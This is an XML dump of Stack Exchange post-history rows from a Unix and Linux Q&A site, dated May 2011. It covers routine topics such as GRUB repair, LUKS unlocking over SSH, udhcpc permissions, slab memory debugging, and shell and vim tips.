  <row Id="34100" PostHistoryTypeId="2" PostId="13658" RevisionGUID="95dd1ef6-18a3-4710-be25-21b7031ead9e" CreationDate="2011-05-23T19:12:46.517" UserId="7707" Text="Here are some instructions on [reinstalling grub2][1] in recent versions of Ubuntu.&#xD;&#xA;&#xD;&#xA;I'd recommend following [the chroot method][2] as I think that will be the easiest and safest way to restore your system.  &#xD;&#xA;&#xD;&#xA;Additionally, the next time that you want to clean up drive space on /boot, you can use synaptic or apt-get to remove old kernels.  For example:&#xD;&#xA;&#xD;&#xA;&gt; $ sudo apt-get remove linux-image-2.6.31-21-generic&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/Grub2#Reinstalling%20GRUB%202&#xD;&#xA;  [2]: https://help.ubuntu.com/community/Grub2#METHOD%203%20-%20CHROOT" />
  <row Id="34104" PostHistoryTypeId="2" PostId="13660" RevisionGUID="2d841dbd-da4d-4ece-b1b9-061c48b6d16c" CreationDate="2011-05-23T19:34:44.760" UserId="7699" Text="I have a large number of Ubuntu servers in co-location that I would like to use LUKS encrypted drives on. Rather than shelling out a ton of money for KVM-over-ip applicances, is it possible to have the boot kernel start an ssh server so that I can log in and enter the keyphrase?" />
  <row Id="34105" PostHistoryTypeId="1" PostId="13660" RevisionGUID="2d841dbd-da4d-4ece-b1b9-061c48b6d16c" CreationDate="2011-05-23T19:34:44.760" UserId="7699" Text="Is it possible to login via ssh to unlock LUKS drives?" />
  <row Id="34106" PostHistoryTypeId="3" PostId="13660" RevisionGUID="2d841dbd-da4d-4ece-b1b9-061c48b6d16c" CreationDate="2011-05-23T19:34:44.760" UserId="7699" Text="ésshàéencryptionàéremoteömanagementà" />
  <row Id="34107" PostHistoryTypeId="2" PostId="13661" RevisionGUID="40ed6203-fabc-4f73-b05f-83ada67e0cc2" CreationDate="2011-05-23T19:39:07.807" UserId="7709" Text="I have a really old console application that I want to make a bit more resilient. The program is used this way:&#xD;&#xA;&#xD;&#xA;- the user uses a custom terminal emulator to connect to a remote machine through ssh&#xD;&#xA;- the user starts a shell script &#xD;&#xA;- the shell script might start a long-running progress database process.&#xD;&#xA;&#xD;&#xA;Obviously, sometimes users simply lose the ssh connection to the machine, and in this case, the ssh session is terminated, the shell script running inside is terminated, and finally the progress database process is terminated as well. In like one case out of a thousand this causes corruption in the database, so I'd like to prevent it from happening.&#xD;&#xA;&#xD;&#xA;What I tried so far:&#xD;&#xA;&#xD;&#xA;- starting a screen or tmux session before starting the shell script - this doesn't work because the application needs the TERM variable to be set to at386 (and it bypasses termcap/terminfo completely... ugh...)&#xD;&#xA;- nohup/disown the progress process - this doesn't work because the shell script and the progress process are continuously communication with each other in obscure ways it seems&#xD;&#xA;&#xD;&#xA;Any other idea of how to make sure that the progress process doesn't terminate when the ssh session is killed?" />
  <row Id="34108" PostHistoryTypeId="1" PostId="13661" RevisionGUID="40ed6203-fabc-4f73-b05f-83ada67e0cc2" CreationDate="2011-05-23T19:39:07.807" UserId="7709" Text="How to prevent a program from dying when its ssh session dies?" />
  <row Id="34109" PostHistoryTypeId="3" PostId="13661" RevisionGUID="40ed6203-fabc-4f73-b05f-83ada67e0cc2" CreationDate="2011-05-23T19:39:07.807" UserId="7709" Text="ésshàéscreenà" />
  <row Id="34110" PostHistoryTypeId="2" PostId="13662" RevisionGUID="97b64c4f-637b-49ca-b9ef-732538464112" CreationDate="2011-05-23T19:50:53.960" UserId="7710" Text="Hello!&#xD;&#xA;I've made a hardware keylogger for PS/2 (it is connected between keyboard and PC) and it's storing keystrokes directly as keyboard is sending signals. When device dumps data to the computer,  everything goes exactly the same as normal keyboard. I'd like to write an application which saves the dump. &#xD;&#xA;When user types only text, there's no problem - I can open any text editor and everything's saved there. &#xD;&#xA;The problem is when user types key combinations like ALT+TAB, CTRL+F1 , CTRL+A and similar.&#xD;&#xA;&#xD;&#xA;My question is - how to pass the keyboard keystrokes directly to file ignoring X? " />
  <row Id="34111" PostHistoryTypeId="1" PostId="13662" RevisionGUID="97b64c4f-637b-49ca-b9ef-732538464112" CreationDate="2011-05-23T19:50:53.960" UserId="7710" Text="Getting direct input from keyboard, ignoring X" />
  <row Id="34112" PostHistoryTypeId="3" PostId="13662" RevisionGUID="97b64c4f-637b-49ca-b9ef-732538464112" CreationDate="2011-05-23T19:50:53.960" UserId="7710" Text="élinuxàéxorgàékeyboardà" />
  <row Id="34113" PostHistoryTypeId="17" PostId="13663" RevisionGUID="418378be-b741-424b-8ba9-61fb28fc413f" CreationDate="2011-05-23T20:13:13.807" UserId="-1" Comment="from http://stackoverflow.com/questions/6101538/xorg-two-different-libglx-sos-with-two-different-serverlayouts" Text="" />
  <row Id="34114" PostHistoryTypeId="2" PostId="13663" RevisionGUID="d7799bc1-16ad-4e3a-9739-e8631087e30f" CreationDate="2011-05-23T18:51:48.827" UserId="7708" Text="I have an nvidia card for on monitor and a radeon (onboard) card for a second screen on Ubuntu 11.04.&#xD;&#xA;&#xD;&#xA;Would it be possible to have one serverlayout use the nvidia libglx.so and the second serverlayout use the default xorg libglx.so?&#xD;&#xA;&#xD;&#xA;Here's my xorg.conf at the moment: http://pastie.org/1962509" />
  <row Id="34115" PostHistoryTypeId="1" PostId="13663" RevisionGUID="d7799bc1-16ad-4e3a-9739-e8631087e30f" CreationDate="2011-05-23T18:51:48.827" UserId="7708" Text="Xorg: two different libglx.so's with two different serverlayouts" />
  <row Id="34116" PostHistoryTypeId="3" PostId="13663" RevisionGUID="d7799bc1-16ad-4e3a-9739-e8631087e30f" CreationDate="2011-05-23T18:51:48.827" UserId="7708" Text="élinuxàéubuntuàénvidiaàéxorgà" />
  <row Id="34117" PostHistoryTypeId="5" PostId="1618" RevisionGUID="626694a8-762a-4725-a156-f85ece735bef" CreationDate="2011-05-23T20:17:05.770" UserId="305" Comment="added 224 characters in body" Text="It depends. If you have a small amount of memory, the use of modules may improve the resume as they are not reloaded every time (I found it significant on 2 GiB of RAM but not on 4 GiB on traditional harddrives). This is especially true when due to some bug in the battery module (regardless of being compiled-in or as module), it took very long to start (several minutes). Even without bug on gentoo I managed to shorten time (reported by `systemd-analysis`) from 33s to 18s just by changing from statically compiled kernel to modules - 'surprisingly' the start of kernel changed from 9s to 1.5s.&#xD;&#xA;&#xD;&#xA;Also, when you don't know what hardware are you going to use, modules are clearly beneficial.&#xD;&#xA;&#xD;&#xA;PS. You can compile even vital drivers as modules as long as you include them in initrd. For example, distros will include the filesystem of /, drivers of harddrive etc. in initrd on installation." />
  <row Id="34118" PostHistoryTypeId="17" PostId="13664" RevisionGUID="65a08479-563f-464e-acc6-b7999596b686" CreationDate="2011-05-23T20:17:26.043" UserId="-1" Comment="from http://stackoverflow.com/questions/6100115/user-mode-not-able-to-execute-udhcpc" Text="" />
  <row Id="34119" PostHistoryTypeId="2" PostId="13664" RevisionGUID="b9fd09b2-505b-4f6f-a6a6-210ff91dcd7b" CreationDate="2011-05-23T16:27:08.427" UserDisplayName="user736403" Text="&#xD;&#xA;Hi,&#xD;&#xA;&#xD;&#xA;In linux machine,  I am trying to run the udhcpc command as nonroot. I am getting the error &quot;udhcpc: socket: Operation not permitted&quot;. Any way to execute udhcpc as simple user in linux.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;Eswar&#xD;&#xA;" />
  <row Id="34120" PostHistoryTypeId="1" PostId="13664" RevisionGUID="b9fd09b2-505b-4f6f-a6a6-210ff91dcd7b" CreationDate="2011-05-23T16:27:08.427" UserDisplayName="user736403" Text="user mode not able to execute 'udhcpc'" />
  <row Id="34121" PostHistoryTypeId="3" PostId="13664" RevisionGUID="b9fd09b2-505b-4f6f-a6a6-210ff91dcd7b" CreationDate="2011-05-23T16:27:08.427" UserDisplayName="user736403" Text="élinuxàénetworkingà" />
  <row Id="34122" PostHistoryTypeId="2" PostId="13665" RevisionGUID="241378e0-e380-492e-9b65-78f684227e9f" CreationDate="2011-05-23T20:40:33.323" UserId="444" Text="You should be able to use the `input-events` command (on debian from the `input-utils` package), alternatively you can use `xev` to see all x-events." />
  <row Id="34123" PostHistoryTypeId="2" PostId="13666" RevisionGUID="279f26a8-b66f-470b-b37a-086975a7d453" CreationDate="2011-05-23T20:46:50.740" UserId="3818" Text="Perhaps try a remote X desktop via vnc or nx. You could tunnel vnc over ssh for security or use nx which runs via ssh by default (and is much faster). The app could then run in a Terminal on the X desktop and if the connection is lost, the desktop would keep going allowing  reconnection at any time. My preference is No Machine NX which is free for up to two simultaneous users and installs very easily.&#xD;&#xA;&#xD;&#xA;An alternative, if available, is to use a remote console via ALOM, ILOM, DRAC, IP-kvm or IP-serial console, etc.. That way the app would be running on the console and could not be interrupted by a connection failure." />
  <row Id="34124" PostHistoryTypeId="5" PostId="13602" RevisionGUID="6d8d0836-ceb9-40c5-aeb9-d7222d712bba" CreationDate="2011-05-23T20:56:09.893" UserId="1571" Comment="added 2185 characters in body" Text="I'm in the process of QA/debugging a project on a custom embedded linux system. The problem we're VERY tight on memory, and even a couple megs can cause issues with our software.&#xD;&#xA;&#xD;&#xA;What I'm seeing (sometimes) is that when our system crashes (soft crashes), our own software isn't taking up any more memory than usual. But what's weird is that the linux kernel slab has a MUCH higher than normal number of objects in its 32byte slab cache:&#xD;&#xA;&#xD;&#xA;    size-32           103674 103734     32  113    1 : tunables  120   60    0 : slabdata    918    918      0&#xD;&#xA;&#xD;&#xA;This is what the slab looks like under normal circumstances:&#xD;&#xA;&#xD;&#xA;    size-32             5400   6554     32  113    1 : tunables  120   60    0 : slabdata     58     58      0&#xD;&#xA;&#xD;&#xA;Obviously that's a significant difference. &#xD;&#xA;&#xD;&#xA;I know there's not much information here, but this is really all the information I have to go on. Is there any way to determine what the slab contains? Or where it was allocated from or anything like that? Or maybe just force it to free its memory?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is running on an ARM based board with 64mB of ram running a 2.6.30 kernel.&#xD;&#xA;&#xD;&#xA;Btw, this is the entirety of what's running on the machine.&#xD;&#xA;&#xD;&#xA;    10711  8778 root     R     2980  4.9   0  0.0 top&#xD;&#xA;     8745  2740 root     S     6452 10.7   0  0.0 sshd: root@ttyp1&#xD;&#xA;     9411  2740 root     S     6312 10.4   0  0.0 sshd: root@ttyp2&#xD;&#xA;     2740     1 root     S     3704  6.1   0  0.0 /usr/sbin/sshd&#xD;&#xA;     8778  8745 root     S     2984  4.9   0  0.0 -sh&#xD;&#xA;    10034  9411 root     S     2984  4.9   0  0.0 -sh&#xD;&#xA;        1     0 root     S     2980  4.9   0  0.0 init&#xD;&#xA;     9432     1 root     S     2848  4.7   0  0.0 runsv ui&#xD;&#xA;     1115     1 root     S &lt;   1576  2.6   0  0.0 udevd --daemon&#xD;&#xA;      989     2 root     SW&lt;      0  0.0   0  0.0 [mmcqd]&#xD;&#xA;      223     2 root     SW&lt;      0  0.0   0  0.0 [kswapd0]&#xD;&#xA;      175     2 root     SW&lt;      0  0.0   0  0.0 [kblockd/0]&#xD;&#xA;      222     2 root     SW       0  0.0   0  0.0 [pdflush]&#xD;&#xA;      221     2 root     SW       0  0.0   0  0.0 [pdflush]&#xD;&#xA;        6     2 root     SW&lt;      0  0.0   0  0.0 [khelper]&#xD;&#xA;        5     2 root     SW&lt;      0  0.0   0  0.0 [events/0]&#xD;&#xA;      186     2 root     SW&lt;      0  0.0   0  0.0 [khubd]&#xD;&#xA;        2     0 root     SW&lt;      0  0.0   0  0.0 [kthreadd]&#xD;&#xA;      220     2 root     SW       0  0.0   0  0.0 [khungtaskd]&#xD;&#xA;        3     2 root     SW&lt;      0  0.0   0  0.0 [ksoftirqd/0]&#xD;&#xA;        4     2 root     SW&lt;      0  0.0   0  0.0 [watchdog/0]&#xD;&#xA;       12     2 root     SW&lt;      0  0.0   0  0.0 [async/mgr]&#xD;&#xA;      189     2 root     SW&lt;      0  0.0   0  0.0 [kseriod]&#xD;&#xA;      194     2 root     SW&lt;      0  0.0   0  0.0 [kmmcd]&#xD;&#xA;      224     2 root     SW&lt;      0  0.0   0  0.0 [aio/0]&#xD;&#xA;      225     2 root     SW&lt;      0  0.0   0  0.0 [unionfs_siod/0]&#xD;&#xA;      226     2 root     SW&lt;      0  0.0   0  0.0 [nfsiod]&#xD;&#xA;      227     2 root     SW&lt;      0  0.0   0  0.0 [crypto/0]&#xD;&#xA;      895     2 root     SW&lt;      0  0.0   0  0.0 [zd1211rw]&#xD;&#xA;      899     2 root     SW&lt;      0  0.0   0  0.0 [mtdblockd]&#xD;&#xA;      972     2 root     SW&lt;      0  0.0   0  0.0 [usbhid_resumer]&#xD;&#xA;      992     2 root     SW&lt;      0  0.0   0  0.0 [rpciod/0]&#xD;&#xA;&#xD;&#xA;and it's still growing&#xD;&#xA;&#xD;&#xA;    size-32           181312 181365     32  113    1 : tunables  120   60    0 : slabdata   1605   1605      0&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34125" PostHistoryTypeId="2" PostId="13667" RevisionGUID="088cb104-cdc9-4c1f-9cff-350bb2140743" CreationDate="2011-05-23T21:01:49.753" UserId="885" Text="A dhcp client needs to bind an ICMP socket, and that requires root permissions¹. You can give a specific user permission to run dhcp through [sudo](http://en.wikipedia.org/wiki/Sudo). Run `visudo` to add a line like this to the configuration (`joe` is the name of the user to authorize):&#xD;&#xA;&#xD;&#xA;    joe ALL = (root) /sbin/udhcpc&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;Or the appropriate capability, but they're not widespread yet.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="34126" PostHistoryTypeId="5" PostId="13664" RevisionGUID="aebffccc-a228-44bd-9674-41b79bf68011" CreationDate="2011-05-23T21:03:25.543" UserId="885" Comment="title; tags; English" Text="On a Linux machine, I am trying to run the `udhcpc` command as non-root. I am getting the error `udhcpc: socket: Operation not permitted`. Is there any way to execute `udhcpc` as a simple user in Linux?&#xD;&#xA;" />
  <row Id="34127" PostHistoryTypeId="4" PostId="13664" RevisionGUID="aebffccc-a228-44bd-9674-41b79bf68011" CreationDate="2011-05-23T21:03:25.543" UserId="885" Comment="title; tags; English" Text="How to execute udhcpc as non-root" />
  <row Id="34128" PostHistoryTypeId="6" PostId="13664" RevisionGUID="aebffccc-a228-44bd-9674-41b79bf68011" CreationDate="2011-05-23T21:03:25.543" UserId="885" Comment="title; tags; English" Text="élinuxàénetworkingàénotörootöuseràéudhcpcà" />
  <row Id="34130" PostHistoryTypeId="2" PostId="13668" RevisionGUID="60029500-3b46-4211-b01f-974ccf2a2c58" CreationDate="2011-05-23T21:08:52.647" UserId="1762" Text="Add `term at386` to your .screenrc in order to override TERM. If this doesn't help, try [dtach][1] instead of Screen (which doesn't do any terminal emulation itself).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dtach.sourceforge.net/" />
  <row Id="34131" PostHistoryTypeId="25" PostId="13654" RevisionGUID="8f5ce5f6-00e1-4af2-9824-48d91612cb59" CreationDate="2011-05-23T21:12:36.887" Comment="http://twitter.com/#!/StackUnix/status/72771937595686912" />
  <row Id="34132" PostHistoryTypeId="6" PostId="13602" RevisionGUID="1e9371cc-ea78-43cd-97d9-5ad3bfda0ef1" CreationDate="2011-05-23T21:12:45.077" UserId="885" Comment="edited tags" Text="élinuxàékernelàémemoryàédebuggingàécacheà" />
  <row Id="34133" PostHistoryTypeId="2" PostId="13669" RevisionGUID="8f10229b-4e79-4107-b35f-55c4d457559d" CreationDate="2011-05-23T21:14:14.497" UserId="1762" Text="    $ set globstar&#xD;&#xA;    $ cp /source/dir/**/* /destination/dir/&#xD;&#xA;&#xD;&#xA;The first line enables the recursive `**` globbing in Bash (not necessary in Zsh)." />
  <row Id="34134" PostHistoryTypeId="2" PostId="13670" RevisionGUID="0fc165d9-031c-4027-bb9e-2381f77a8128" CreationDate="2011-05-23T21:22:30.463" UserId="885" Text="In other words, you're looking for something like screen, but that passes control sequences to the terminal rather than doing its own translation? Try [dtach](http://dtach.sourceforge.net/). It provides the same terminal detachment feature as screen, but without the multiple windows or the terminal emulation.&#xD;&#xA;" />
  <row Id="34135" PostHistoryTypeId="6" PostId="13661" RevisionGUID="c24ee2d2-f5ea-4650-9d09-2faa67732351" CreationDate="2011-05-23T21:22:55.457" UserId="885" Comment="edited tags" Text="ésshàéterminalàéscreenàénohupà" />
  <row Id="34136" PostHistoryTypeId="6" PostId="13662" RevisionGUID="bad80094-38c3-48cd-89b1-7a19a2b60044" CreationDate="2011-05-23T21:26:11.430" UserId="885" Comment="edited tags" Text="élinuxàékeyboardà" />
  <row Id="34137" PostHistoryTypeId="5" PostId="2219" RevisionGUID="f9f37751-cded-4907-9c9d-1d5f437218aa" CreationDate="2011-05-23T21:32:17.357" UserId="688" Comment="deleted 11 characters in body" Text="I just learnt today in a Distributed Systems class that there is an address space allocated for every user by the kernel, and if a user wants to get the su privilege, he needs to shift to the kernel address space.  &#xD;&#xA;&#xD;&#xA;Is this the basis for buffer overflow attacks, where a user, if exceeds his address space, may be able to access the kernel address space or just overwrite it?" />
  <row Id="34138" PostHistoryTypeId="12" PostId="13660" RevisionGUID="8ac89a2c-52fa-4a9d-8db7-952782666b7c" CreationDate="2011-05-23T21:35:01.397" UserId="7699" Text="[{&quot;Id&quot;:7699,&quot;DisplayName&quot;:&quot;Bryan Agee&quot;}]" />
  <row Id="34139" PostHistoryTypeId="13" PostId="13660" RevisionGUID="c50df538-6a62-4b04-8852-9bcb87e1684c" CreationDate="2011-05-23T21:35:27.307" UserId="7699" Text="[{&quot;Id&quot;:7699,&quot;DisplayName&quot;:&quot;Bryan Agee&quot;}]" />
  <row Id="34140" PostHistoryTypeId="12" PostId="13660" RevisionGUID="7d3b123a-45fa-4040-9b9b-1520535c016c" CreationDate="2011-05-23T21:35:50.037" UserId="7699" Text="[{&quot;Id&quot;:7699,&quot;DisplayName&quot;:&quot;Bryan Agee&quot;}]" />
  <row Id="34141" PostHistoryTypeId="5" PostId="2227" RevisionGUID="574a1d1c-50e7-43ff-a05f-6174e0042225" CreationDate="2011-05-23T21:37:12.110" UserId="688" Comment="added 1 characters in body; edited tags; edited title" Text="Suppose I have the following initialization of bash array:&#xD;&#xA;&#xD;&#xA;    my_array=(&#xD;&#xA;        &quot;/usr/bin&quot;&#xD;&#xA;        &quot;/usr/lib/*.so&quot;&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;If I do iteration using: &#xD;&#xA;    &#xD;&#xA;    for array_item in ${my_array[@]} &#xD;&#xA;    do &#xD;&#xA;        ... &#xD;&#xA;    done &#xD;&#xA;&#xD;&#xA;Then the content of the `my_array` is expanded containing path to any files with .so extension in /usr/lib/ directories. but I just wanted the array contain two string which is `&quot;/usr/bin&quot;` and `&quot;/usr/lib/*.so&quot;`.&#xD;&#xA;&#xD;&#xA;How should I do that?" />
  <row Id="34142" PostHistoryTypeId="4" PostId="2227" RevisionGUID="574a1d1c-50e7-43ff-a05f-6174e0042225" CreationDate="2011-05-23T21:37:12.110" UserId="688" Comment="added 1 characters in body; edited tags; edited title" Text="Array of string expanded to path?" />
  <row Id="34143" PostHistoryTypeId="6" PostId="2227" RevisionGUID="574a1d1c-50e7-43ff-a05f-6174e0042225" CreationDate="2011-05-23T21:37:12.110" UserId="688" Comment="added 1 characters in body; edited tags; edited title" Text="ébashàéstringàéarrayà" />
  <row Id="34144" PostHistoryTypeId="6" PostId="13654" RevisionGUID="14843d65-babe-44e3-9f33-6cebee12a70c" CreationDate="2011-05-23T21:41:30.327" UserId="885" Comment="edited tags" Text="élinuxàéubuntuàébootàégrubà" />
  <row Id="34145" PostHistoryTypeId="5" PostId="13622" RevisionGUID="3820cd6f-f151-4754-949f-0d79f9c9ec05" CreationDate="2011-05-23T21:44:37.067" UserId="2343" Comment="added 61 characters in body" Text="Is there a combination of command-line options for `ps` or `pgrep` or some other relatively direct way to determine if a particular process name is actually running (available for normal use)..   &#xD;&#xA;&#xD;&#xA;By &quot;running&quot;, I mean to specifically exclude processes which are `&lt;defunct&gt;` or any other non-running processes (eg. zombies :)... &#xD;&#xA;&#xD;&#xA;This sample script shows an example of `&lt;defunct&gt;` items:  &#xD;&#xA;&#xD;&#xA;    #!/bin/bash   ubuntu 10.04&#xD;&#xA;    &#xD;&#xA;      pgrep ^gnuserv$&#xD;&#xA;    # 25591&#xD;&#xA;    # 25599&#xD;&#xA;    # 27330&#xD;&#xA;   &#xD;&#xA;      ps $(pgrep ^gnuserv$)  # command ammended as per pilcrow's good suggestion&#xD;&#xA;    #   PID TTY      STAT   TIME COMMAND&#xD;&#xA;    # 25591 ?        Zs     0:00 [gnuserv] &lt;defunct&gt;&#xD;&#xA;    # 25599 ?        Zs     0:00 [gnuserv] &lt;defunct&gt;&#xD;&#xA;    # 27330 pts/2    S+     0:00 gnuserv&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I could further `sed` the output, but I think/hope there's a more direct way...&#xD;&#xA;" />
  <row Id="34146" PostHistoryTypeId="13" PostId="13660" RevisionGUID="9cdd0e61-234a-482f-95ad-7c7a8b2b1521" CreationDate="2011-05-23T21:46:32.373" UserId="73" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="34147" PostHistoryTypeId="5" PostId="13660" RevisionGUID="00edd4fc-cbb5-43d5-9888-6747fad563b5" CreationDate="2011-05-23T21:46:44.260" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [SSH to decrypt encrypted LVM during headless server boot?](http://unix.stackexchange.com/questions/5017/ssh-to-decrypt-encrypted-lvm-during-headless-server-boot)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have a large number of Ubuntu servers in co-location that I would like to use LUKS encrypted drives on. Rather than shelling out a ton of money for KVM-over-ip applicances, is it possible to have the boot kernel start an ssh server so that I can log in and enter the keyphrase?" />
  <row Id="34148" PostHistoryTypeId="10" PostId="13660" RevisionGUID="a182b0b5-fdd6-4729-85b7-06120d058e65" CreationDate="2011-05-23T21:46:44.043" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="34149" PostHistoryTypeId="6" PostId="13650" RevisionGUID="0a158cba-953c-4c96-823e-033a1e63bf68" CreationDate="2011-05-23T21:53:30.673" UserId="885" Comment="edited tags" Text="élinuxàésshàénetworkingàéfirewallàévncà" />
  <row Id="34150" PostHistoryTypeId="2" PostId="13671" RevisionGUID="5df0c42f-4ecc-4ef8-af79-436a9e782ca4" CreationDate="2011-05-23T22:16:13.873" UserId="885" Text="Vim uses the system cut-and-paste mechanism to copy text between instances. When you run vim in a terminal, it doesn't have direct access to any cut-and-paste mechanism. If vim is running in xterm or some other terminal that provides access to X selections and clipboard contents, vim can use that; however your vim binary is compiled without support for that feature.&#xD;&#xA;&#xD;&#xA;If both vim instances are running on the same machine, you can use a temporary file to communicate:&#xD;&#xA;&#xD;&#xA;    :w ~/vim.tmp&#xD;&#xA;    :r ~/vim.tmp&#xD;&#xA;&#xD;&#xA;If both vim instances are connected to the same X display (in that the `DISPLAY` environment variable points to the same X display, the vim programs themselves don't need to have any kind of X support), you can use the X selections via an external program such as [xsel](http://www.kfish.org/software/xsel/) or [xclip](http://sourceforge.net/projects/xclip/). You can omit the `p` or `-selection primary` or choose a different selection (`-s`/`secondary` or `-b`/`clipboard`). Use `:w !` (note the space) to copy:&#xD;&#xA;&#xD;&#xA;    :w !xsel -ip&#xD;&#xA;    :w !xclip -i -selection primary&#xD;&#xA;&#xD;&#xA;and `:r!` to paste:&#xD;&#xA;&#xD;&#xA;    :r !xsel -op&#xD;&#xA;    :r !xclip -o -selection primary&#xD;&#xA;" />
  <row Id="34151" PostHistoryTypeId="5" PostId="13623" RevisionGUID="b6af6234-b4e0-4958-8750-34e7bd73d51a" CreationDate="2011-05-23T22:18:21.497" UserId="885" Comment="English" Text="How can I find how much disk does a list of files uses? I'm looking for a variation of&#xD;&#xA;&#xD;&#xA;    du -s *.sql&#xD;&#xA;&#xD;&#xA;I want to see only the grand total, and with the command above, it always shows a line for each file.&#xD;&#xA;" />
  <row Id="34152" PostHistoryTypeId="4" PostId="13623" RevisionGUID="b6af6234-b4e0-4958-8750-34e7bd73d51a" CreationDate="2011-05-23T22:18:21.497" UserId="885" Comment="English" Text="How much disk space does a list of files use" />
  <row Id="34153" PostHistoryTypeId="4" PostId="13650" RevisionGUID="ca731024-04cb-4734-8934-57d2db3173e0" CreationDate="2011-05-23T22:19:30.403" UserId="6766" Comment="better subject line" Text="Configuring a vncserver so it's only accessible from my ssh tunnel" />
  <row Id="34154" PostHistoryTypeId="24" PostId="13650" RevisionGUID="ca731024-04cb-4734-8934-57d2db3173e0" CreationDate="2011-05-23T22:19:30.403" Comment="Proposed by 6766 approved by 885 edit id of 392" />
  <row Id="34155" PostHistoryTypeId="6" PostId="13636" RevisionGUID="a9fbcd26-26b7-40f9-975d-b3c2775fdbe9" CreationDate="2011-05-23T22:25:16.297" UserId="885" Comment="edited tags" Text="élinuxàébashàécpà" />
  <row Id="34156" PostHistoryTypeId="5" PostId="10859" RevisionGUID="6aa67f68-d599-4c2a-a68e-927c786521c4" CreationDate="2011-05-23T22:26:27.920" UserId="885" Comment="cope with all file names" Text="It's easy with a loop:&#xD;&#xA;&#xD;&#xA;    for f in /etc/*.conf; do cp -v -- &quot;$f&quot; &quot;$f.orig&quot;; done&#xD;&#xA;" />
  <row Id="34157" PostHistoryTypeId="2" PostId="13672" RevisionGUID="26c4e60d-4445-4963-8a4b-fddb76ac1a3c" CreationDate="2011-05-23T22:31:10.747" UserId="885" Text="[In any shell, you can use a loop](http://unix.stackexchange.com/questions/10856/copy-multiple-files-and-append-to-end-of-filename/10859#10859):&#xD;&#xA;&#xD;&#xA;    for x in /etc/*.conf; do cp -i -- &quot;$x&quot; &quot;$x.orig&quot;; done&#xD;&#xA;&#xD;&#xA;(Remove `-i` if you don't care about overwriting existing files.)&#xD;&#xA;&#xD;&#xA;With zsh, you can use the provided function `zcm` (put the first three lines in your `~/.zshrc`):&#xD;&#xA;&#xD;&#xA;    autoload zmv&#xD;&#xA;    alias zcp='zmv -C'&#xD;&#xA;    alias zln='zmv -L'&#xD;&#xA;    zcp '/etc/(*.conf)' '/etc/$1.orig'&#xD;&#xA;&#xD;&#xA;(Add `-f` after `zcp` to overwrite any existing destination file.)&#xD;&#xA;" />
  <row Id="34158" PostHistoryTypeId="6" PostId="13628" RevisionGUID="fcfcec7e-7e05-43a8-8d91-528dc0d4485f" CreationDate="2011-05-23T22:32:54.443" UserId="885" Comment="edited tags" Text="édebianàéinitöscriptàétorà" />
  <row Id="34159" PostHistoryTypeId="2" PostId="13673" RevisionGUID="80834af0-6aa5-4ec9-b585-eb49644014e4" CreationDate="2011-05-23T23:19:42.303" UserId="7714" Text="Services are usually meant to run as root. However, you have 2 options:&#xD;&#xA;&#xD;&#xA;a) You have some sort of script that launches the service as that user. There are a few ways to accomplish this. You could do the following:&#xD;&#xA;&#xD;&#xA;&gt; sudo -u debian-tor /etc/init.d/service&#xD;&#xA;&#xD;&#xA;and then add debian-tor to the sudoer's file for this command&#xD;&#xA;&#xD;&#xA;or b)&#xD;&#xA;You can use the stop-start-daemon with the --chuid option.  " />
  <row Id="34160" PostHistoryTypeId="2" PostId="13674" RevisionGUID="eabcf6e2-e494-4eac-a649-b1df06f607cf" CreationDate="2011-05-23T23:28:13.117" UserId="7714" Text="The MBR is trying to read from a grub install somewhere on disk which has now been deleted.&#xD;&#xA;&#xD;&#xA;You'll need to create a grub install and then write it to the MBR. Check the man page for &quot;grub-install&quot;.&#xD;&#xA;&#xD;&#xA;Basically you need to run:&#xD;&#xA;&#xD;&#xA;&gt; sudo grub-install /dev/sda&#xD;&#xA;&#xD;&#xA;to write create a new grub 2 and write it to the MBR.&#xD;&#xA;&#xD;&#xA;You'll need to drop a grub.cfg file to boot up your OS though in /boot/grub. If you don't have one you can regenerate a grub2 config file using grub-setup.  " />
  <row Id="34163" PostHistoryTypeId="2" PostId="13676" RevisionGUID="98e6db54-5468-4b32-b9bd-b52212bce38b" CreationDate="2011-05-23T23:39:51.030" UserId="4143" Text="Using a common command line tool like sed or awk, is it possible to join all lines that end with a given character, like a backslash?&#xD;&#xA;&#xD;&#xA;For example, given the file:&#xD;&#xA;&#xD;&#xA;    foo bar \&#xD;&#xA;    bash \&#xD;&#xA;    baz&#xD;&#xA;    dude \&#xD;&#xA;    happy&#xD;&#xA;&#xD;&#xA;I would like to get this output:&#xD;&#xA;&#xD;&#xA;    foo bar bash baz&#xD;&#xA;    dude happy" />
  <row Id="34164" PostHistoryTypeId="1" PostId="13676" RevisionGUID="98e6db54-5468-4b32-b9bd-b52212bce38b" CreationDate="2011-05-23T23:39:51.030" UserId="4143" Text="How can you combine all lines that end with a backslash character?" />
  <row Id="34165" PostHistoryTypeId="3" PostId="13676" RevisionGUID="98e6db54-5468-4b32-b9bd-b52212bce38b" CreationDate="2011-05-23T23:39:51.030" UserId="4143" Text="ésedàéregexàéawkà" />
  <row Id="34166" PostHistoryTypeId="2" PostId="13677" RevisionGUID="fca5a56b-902c-44b9-8813-f9f599615687" CreationDate="2011-05-23T23:49:08.677" UserId="885" Text="You're trying to use 32-bit python bindings (`pygtkspell` `i486`) with a 64-bit (`x86_64`) python. You can run ix86 and x86_64 binaries on the same system, but you can't load ix86 and x86_64 libraries in the same executable. Linking the wrong binaries in the right place won't help: they're still the wrong binaries. You need to obtain 64-bit bindings (`pygtkspell-*-x86_64-*`), or if they're not available (but they probably are), run a 32-bit python." />
